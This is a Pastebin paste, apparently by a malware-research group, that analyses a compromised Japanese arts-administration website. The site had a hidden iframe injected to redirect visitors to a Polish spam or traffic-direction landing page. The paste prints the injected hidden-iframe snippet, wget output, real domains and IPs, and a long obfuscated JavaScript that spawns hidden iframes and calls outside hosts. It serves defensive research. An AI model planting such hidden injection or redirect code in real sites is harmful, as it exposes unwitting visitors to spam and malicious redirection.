Need a unique gift idea?
A Pastebin account makes a great Christmas gift
SHARE
TWEET

Injection Code to .PL Redirected Spam sites..

MalwareMustDie Nov 11th, 2013 460 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. // Another infected site on Oct 31, 2013
  2. // The domains was parked with ?? whatever "reason" ( noted the big question mark)
  3. // Go to Spam Site/ TDS neverland
  4.  
  5. // Redirected from injected site:
  6.  
  7. http://www.aubade.or.jp/m/access.html
  8.  
  9. // Evil codes...
  10.  
  11. >Copyright (C) 2010<br />
  12.     CITIZENS ARTS ADMINISTRATION<br />
  13.     of TOYAMA All Rights Reserved.</font>
  14. </div>
  15. </body>
  16. </html><iframe src
  17. http://mariuszkarwat.aq.pl/counter.php
  18.  style
  19. visibility: hidden
  20.  position: absolute
  21.  left: 0px
  22.  top: 0px
  23.  width
  24.  height
  25.  
  26.  
  27. // Similar domains in research on same IP:
  28.  
  29. http://www.m2-wiki.za.pl/       [Poland] 193.203.99.113
  30. http://multigtamissionblog.za.pl/       [Poland] 193.203.99.113
  31. http://mc-wieliczka.za.pl/      [Poland] 193.203.99.113
  32.  
  33.  
  34. // Landing page:
  35.  
  36. --2013-11-11 20:34:08--  http://mariuszkarwat.aq.pl/counter.php
  37. Resolving mariuszkarwat.aq.pl (mariuszkarwat.aq.pl)... 193.203.99.113
  38. Caching mariuszkarwat.aq.pl => 193.203.99.113
  39. Connecting to mariuszkarwat.aq.pl (mariuszkarwat.aq.pl)|193.203.99.113|:80... connected.
  40.  
  41. ---request begin---
  42. GET /counter.php HTTP/1.1
  43. Referer: http://www.aubade.or.jp/m/access.html
  44. Host: mariuszkarwat.aq.pl
  45. HTTP request sent, awaiting response...
  46.  
  47. ---response begin---
  48. HTTP/1.1 200 OK
  49. Server: nginx/0.7.67
  50. Date: Mon, 11 Nov 2013 11:34:09 GMT
  51. Content-Type: text/html
  52. Transfer-Encoding: chunked
  53. Connection: keep-alive
  54. X-Powered-By: ModLayout/5.1
  55.  
  56. ---response end---
  57. 200 OK
  58. Length: unspecified [text/html]
  59. Saving to: 'counter.php'
  60. 2013-11-11 20:34:09 (4.95 MB/s) - 'counter.php' saved [609]
  61.  
  62.  
  63. // The insides:
  64.  
  65. ]$ less counter.php
  66. <!-- HEADER //]]>'"</script></iframe></noembed></embed></object></noscript>
  67. <script type="text/javascript" src="/e8375d7cd983efcbf956da5937050ffc.js"></script>
  68. <script type="text/javascript" src="/b28354b543375bfa94dabaeda722927f.js"></script>-->
  69. <script type="text/javascript" src="/d0004e8cad401f4e3c02ddd8a69cb2d7.js"></script>
  70. <script type="text/javascript" src="/05d8cb992b11b84ce44d8924f26950b9.js"></script>
  71. <!-- FOOTER //]]>'"</script></iframe></noembed></embed></object></noscript>-->
  72. <script type="text/javascript" src="/2deb000b57bfac9d72c14d4ed967b572.js?d=bWFyaXVzemthcndhdC5hcS5wbA=="></script>
  73.  
  74.  
  75.  
  76. // these are decoys TDS...
  77.  
  78. <!-- HEADER //]]>'"</script></iframe></noembed></embed></object></noscript>
  79. <script type="text/javascript" src="/e8375d7cd983efcbf956da5937050ffc.js"></script>
  80. <script type="text/javascript" src="/b28354b543375bfa94dabaeda722927f.js"></script>-->
  81. <script type="text/javascript" src="/d0004e8cad401f4e3c02ddd8a69cb2d7.js"></script>
  82. <script type="text/javascript" src="/05d8cb992b11b84ce44d8924f26950b9.js"></script>
  83.  
  84. // This is to forward you to never never TDS land...
  85.  
  86.             </div><!-- left_col end -->
  87.             <Skipping 512 bytes of body: [div id="right_col" class="logo_404">
  88.                 <p class="header h_404">Strona w budowie</p>
  89.                 <p>Przepraszamy, strona o podanym adresie nie istnieje. Sprawd, czy adres zosta▒ wpisany poprawnie. Mo甜esz odwiedzi▒ tak甜e nasz <a href="http://www.friko.pl/strony/">katalog stron</a>.</p>
  90.  
  91.  
  92. // This is the TDS code...
  93.  
  94.  
  95. <script type="text/javascript" src="/2deb000b57bfac9d72c14d4ed967b572.js?d=bWFyaXVze
  96. mthcndhdC5hcS5wbA=="></script>
  97.  
  98. // which is a freaking' TDS never never land...
  99.  
  100. /* wersja full */var ee2ba0e5746af651fea996d3403e924b5;var m013cf66a1d1ec979c6105f27
  101. f8dcfef9="";var kg9936a428e28c4bedf4aaf137d9994a58;var kk18387186e7033e1609ebb468272
  102. 117db;var ko35a673012a2666fa1d6f73a7efc54ba9;var kj97441ae18a9e8bf6e2cf52a5376f09e8;
  103. var ve8c59d4da380bdd6504bddc44505aa0a="olhL_XLnGD7le1KE.ggTZbeP7xGwZQOAU8eQa6q3BJ3.Y
  104. 7";var v09af7dd97f70b10958c3592f31b17dce="baqaqAOkYvO8DFboJIvnH8U1.BjNHiQrhavV3mpfQN
  105. P.s7";var v03f99b7f0881c3d35ce3dbaae9e1676c="bI3g8hh3G8KovZkb1XKDzMewLU8woYOQA5xvkSp
  106. x9Jf.L7";var va03fdaa072911c828e1f85901b7da9bc="coVA2wNsBze2ztYswvvxx7PpfZtyVTu6lY7k
  107. iHOCLwX.T7";var v3e6bccee9dd25f13b18a3612c652eac3="zCDqvzxqY7QEnlyk3cDlp7QX33NyzmMwK
  108. yhGh_X2FDn.i7";var vb2e3c029b72516d4815274ae90789302=".KFAtLyxBy308itojWhTtJQJ7zeiOQ
  109. LkK__QiUa22Hj.n7";var v721e62d9ab7896b5bcfce89ff9ecd67c="nGDq_MweYyuEyUGOBTQw6oXyj_5
  110. FFUOTsDKAhVTsqIj.57";var v93dc595135808b6297471c741edefc2b=".KFKWLyxc2Naa0D_FmaoOpQJ
  111. zXaiOVr7VPqErfLUq03.c7";var ve596300c793956d9f0ce7446c56d87d3="AkTglGNp9vV27uuP4vCTt
  112. 4Xy7zdFFQLkENYWRaTE2Mz.H7";var vee96e153bf1123cade998632efb2ff54="";document.writeln
  113. ('<script type="text/javascript" src="http://s4.hit.stat24.com/_'+(new Date()).getTi
  114. me()+'/script.js?id='+vee96e153bf1123cade998632efb2ff54+'"></script>');var va5d01391
  115. 19a6539ae61b7ac9daba70df='';var v8f25917625dcb992243227d83f4ec851='if6014855532eeef2
  116. 61f215571d333b372';var tbe3b0d6ab82bb08b6f74d2629294e67e3;var v4a5a66cfc865c4da07be8
  117. d0a148c9bf4;var t84baf309f16d8a4a6b701565007bb511=top.frames.length;var v075880e7fba
  118. dafef22366e5218a214c0="Q.8HPuyINy_ZNFX3Gk_zx.m_HRQwjUdqWIuViZa_ImD.77";var vff2c7450
  119. a092351f24af1614bd3c6a97="adoceanhitsjgqjvkmqs";var va6e11ee2334c98aba1d0dfe8139ba0a
  120. 4="adoceanhitvipjgirhgx";var vc2b0dbfdb5b0c699bed00973c1dada15="adoceanhitrmotepfjkf
  121. ";var vdf0b3595ee294cf498660a7de1403708="";var vf347d12e3e8bf1fca9f89331efe9bca2="zU
  122. o7Ymd1XBYJeKa39O2S7nYZP1gBjq_JFVHHHfZkAbX.i7/l=11";var va20f76027203fb44639f70ad4564
  123. 5f89="s4.hit.stat24.com";var v7c33e4727d87dc7e505a79aaf4c41adf="";function e07cde632
  124. c0a8a8215661ac27da36e07f(gf3f456c1fe823cc0d882769abd5f4b1bd,gf3f456c1fe823cc0d882769
  125. abd5f4b1be,gf3f456c1fe823cc0d882769abd5f4b1bf){if(gf3f456c1fe823cc0d882769abd5f4b1bd
  126. .addEventListener){gf3f456c1fe823cc0d882769abd5f4b1bd.addEventListener(gf3f456c1fe82
  127. 3cc0d882769abd5f4b1be,gf3f456c1fe823cc0d882769abd5f4b1bf,false);}else if(gf3f456c1fe
  128. 823cc0d882769abd5f4b1bd.attachEvent){gf3f456c1fe823cc0d882769abd5f4b1bd.attachEvent(
  129. 'on'+gf3f456c1fe823cc0d882769abd5f4b1be,gf3f456c1fe823cc0d882769abd5f4b1bf);}}functi
  130. on f889f572693f8944e19f68eda88d879fb(i5ac22cab61be212d0294ee592093a0f50){var i5ac22c
  131. ab61be212d0294ee592093a0f51=/\W*function\s+([\w\$]+)\(/.exec(i5ac22cab61be212d0294ee
  132. 592093a0f50);if(!i5ac22cab61be212d0294ee592093a0f51)return 'NoName';return i5ac22cab
  133. 61be212d0294ee592093a0f51[1];}function gf3f456c1fe823cc0d882769abd5f4b1b(i5ac22cab61
  134. be212d0294ee592093a0f51){i5ac22cab61be212d0294ee592093a0f51=i5ac22cab61be212d0294ee5
  135. 92093a0f51.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");var i5ac22cab61be212d0294ee
  136. 592093a0f52="[\\?&]"+i5ac22cab61be212d0294ee592093a0f51+"=([^&#]*)";var i5ac22cab61b
  137. e212d0294ee592093a0f53=new RegExp(i5ac22cab61be212d0294ee592093a0f52);var i5ac22cab6
  138. 1be212d0294ee592093a0f54=i5ac22cab61be212d0294ee592093a0f53.exec(window.location.hre
  139. f);if(i5ac22cab61be212d0294ee592093a0f54==null)return "";else return i5ac22cab61be21
  140. 2d0294ee592093a0f54[1];}function i5ac22cab61be212d0294ee592093a0f5(){this.iframe=doc
  141. ument.createElement('IFRAME');this.img=document.createElement('IMG');this.img.src="h
  142. ttp://static.friko.pl/img/close.gif";e07cde632c0a8a8215661ac27da36e07f(this.img,'cli
  143. ck',function(){f2b8eb629c15d6f03204ab84ac022b92a();});this.img.style.position="absol
  144. ute";this.img.style.top="0px";this.img.style.right="0px";this.iframe.id=v8f25917625d
  145. cb992243227d83f4ec851;this.iframe.scrolling='no';this.iframe.frameBorder='0';this.if
  146. rame.height='0px';this.iframe.style.display='block';this.iframe.width='99%';this.ifr
  147. ame.allowTransparency='true';this.iframe.src="/e51b477997c25bcd5fd3392e158aacbf.html
  148. ";var i5ac22cab61be212d0294ee592093a0f55=self.document.body;if(gf3f456c1fe823cc0d882
  149. 769abd5f4b1b('friko_tfsids')!='hide'&&vdf0b3595ee294cf498660a7de1403708!=''){var i5a
  150. c22cab61be212d0294ee592093a0f56=document.createElement('IFRAME');i5ac22cab61be212d02
  151. 94ee592093a0f56.id="if519tfsidc8cb11808436b09225286191";i5ac22cab61be212d0294ee59209
  152. 3a0f56.scrolling='no';i5ac22cab61be212d0294ee592093a0f56.frameBorder='0';i5ac22cab61
  153. be212d0294ee592093a0f56.style.top="0";i5ac22cab61be212d0294ee592093a0f56.style.posit
  154. ion="absolute";i5ac22cab61be212d0294ee592093a0f56.tabindex="-1";i5ac22cab61be212d029
  155. 4ee592093a0f56.allowTransparency='true';i5ac22cab61be212d0294ee592093a0f56.height="0
  156. px";i5ac22cab61be212d0294ee592093a0f56.src=vdf0b3595ee294cf498660a7de1403708;i5ac22c
  157. ab61be212d0294ee592093a0f55.insertBefore(i5ac22cab61be212d0294ee592093a0f56,self.doc
  158. ument.body.firstChild);}if(tbe3b0d6ab82bb08b6f74d2629294e67e3!='OK'){var i5ac22cab61
  159. be212d0294ee592093a0f57=parent.document.getElementsByTagName('frame');if(i5ac22cab61
  160. be212d0294ee592093a0f57.length>0){i5ac22cab61be212d0294ee592093a0f55=parent.frames[0
  161. ].document.body;this.img.setAttribute('onclick',f889f572693f8944e19f68eda88d879fb(f2
  162. b8eb629c15d6f03204ab84ac022b92a)+'();');this.img.onclick=function(){f2b8eb629c15d6f0
  163. 3204ab84ac022b92a();};}else {if(self!=top){return false;}}if(ee2ba0e5746af651fea996d
  164. 3403e924b5!='OK'){tbe3b0d6ab82bb08b6f74d2629294e67e3="OK";i5ac22cab61be212d0294ee592
  165. 093a0f55.appendChild(this.img);}i5ac22cab61be212d0294ee592093a0f55.insertBefore(this
  166. .iframe,self.document.body.firstChild);}}function me30c3279363c77d8ae69eee9aaa06742(
  167. ){this.script=document.createElement("script");this.script.id="mobadscr";this.script
  168. .type="text/javascript";this.script.text=v7c33e4727d87dc7e505a79aaf4c41adf;self.docu
  169. ment.body.insertBefore(this.script,self.document.body.firstChild);}function f2b8eb62
  170. 9c15d6f03204ab84ac022b92a(){try{var i5ac22cab61be212d0294ee592093a0f58=self.document
  171. .getElementById(v8f25917625dcb992243227d83f4ec851);var i5ac22cab61be212d0294ee592093
  172. a0f59=i5ac22cab61be212d0294ee592093a0f58.style.display;if(i5ac22cab61be212d0294ee592
  173. 093a0f59=='block'){va5d0139119a6539ae61b7ac9daba70df='ic6014855532eeef261f215571d333
  174. b372';i5ac22cab61be212d0294ee592093a0f58.style.display='none';}else {va5d0139119a653
  175. 9ae61b7ac9daba70df='';i5ac22cab61be212d0294ee592093a0f58.style.display='block';}}cat
  176. ch(error){}}var gemius_identifier=new String(v09af7dd97f70b10958c3592f31b17dce);if(l
  177. ocation.protocol.substr(0,4)=='http')document.write(unescape('%3C')+'script src="/bf
  178. eaa809b0690f8533f043036b1c949e.js" type="text/javascript"'+unescape('%3E%3C')+'/scri
  179. pt'+unescape('%3E'));function g78369e2d3f3dfc302b73fe57ffb78f6d(){if(typeof gemius_h
  180. it=='function'){if(ee2ba0e5746af651fea996d3403e924b5=='OK')gemius_hit(va03fdaa072911
  181. c828e1f85901b7da9bc);else if(kg9936a428e28c4bedf4aaf137d9994a58=='OK')gemius_hit(vb2
  182. e3c029b72516d4815274ae90789302);else if(kk18387186e7033e1609ebb468272117db=='OK')gem
  183. ius_hit(v721e62d9ab7896b5bcfce89ff9ecd67c);else if(ko35a673012a2666fa1d6f73a7efc54ba
  184. 9=='OK')gemius_hit(v93dc595135808b6297471c741edefc2b);else if(kj97441ae18a9e8bf6e2cf
  185. 52a5376f09e8=='OK')gemius_hit(ve596300c793956d9f0ce7446c56d87d3);else if(m013cf66a1d
  186. 1ec979c6105f27f8dcfef9=='OK')gemius_hit(v3e6bccee9dd25f13b18a3612c652eac3);else gemi
  187. us_hit(ve8c59d4da380bdd6504bddc44505aa0a);gemius_hit(v03f99b7f0881c3d35ce3dbaae9e167
  188. 6c);}else {setTimeout(function(){g78369e2d3f3dfc302b73fe57ffb78f6d();},200);}}g78369
  189. e2d3f3dfc302b73fe57ffb78f6d();if(vf347d12e3e8bf1fca9f89331efe9bca2!=''){document.wri
  190. teln('<!-- (C) stat24 / DOMAIN_ros --><'+'scr'+'ipt type="text/javascript" src="http
  191. ://'+va20f76027203fb44639f70ad45645f89+'/_'+(new Date()).getTime()+'/script.js?id='+
  192. vf347d12e3e8bf1fca9f89331efe9bca2+'"></'+'scr'+'ipt>');}if(typeof ado!=="object"){ad
  193. o={};ado.config=ado.preview=ado.placement=ado.master=ado.slave=function(){;};}ado.co
  194. nfig({mode:"old",xml:false,characterEncoding:true});ado.preview({enabled:true,emiter
  195. :"redefine.hit.stat24.com",id:"5U6nrjCil_DOEmt3Ozgkj6yTEvHOVfK8NP4vveHiE93.W7"});ado
  196. .master({id:v075880e7fbadafef22366e5218a214c0,server:'redefine.hit.stat24.com'});if(
  197. tbe3b0d6ab82bb08b6f74d2629294e67e3!='OK'){if(self==top){ado.slave(va6e11ee2334c98aba
  198. 1d0dfe8139ba0a4,{myMaster:v075880e7fbadafef22366e5218a214c0});ado.slave(vc2b0dbfdb5b
  199. 0c699bed00973c1dada15,{myMaster:v075880e7fbadafef22366e5218a214c0});}}try{var vbf8c0
  200. b7d32507c01d5af7fddd616b0a0=new i5ac22cab61be212d0294ee592093a0f5();var vdaaa3126889
  201. 5e21afc667c1a9a5fc8f1=new me30c3279363c77d8ae69eee9aaa06742();}catch(error){}
  202.  
  203. // Further crack will ending up to where it'll hit:
  204.  
  205. http://s4.hit.stat24.com/_'+(new%20Date()).getTime()+'/script.js?id='+vee96e153bf1123cade998632efb2ff54+
  206.  
  207. // I rest my case. Moving on..
  208.  
  209. ---
  210. #MalwareMustDie!!
  211. @unixfreaxjp /malware/temp]$ date
  212. Mon Nov 11 21:00:30 JST 2013
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top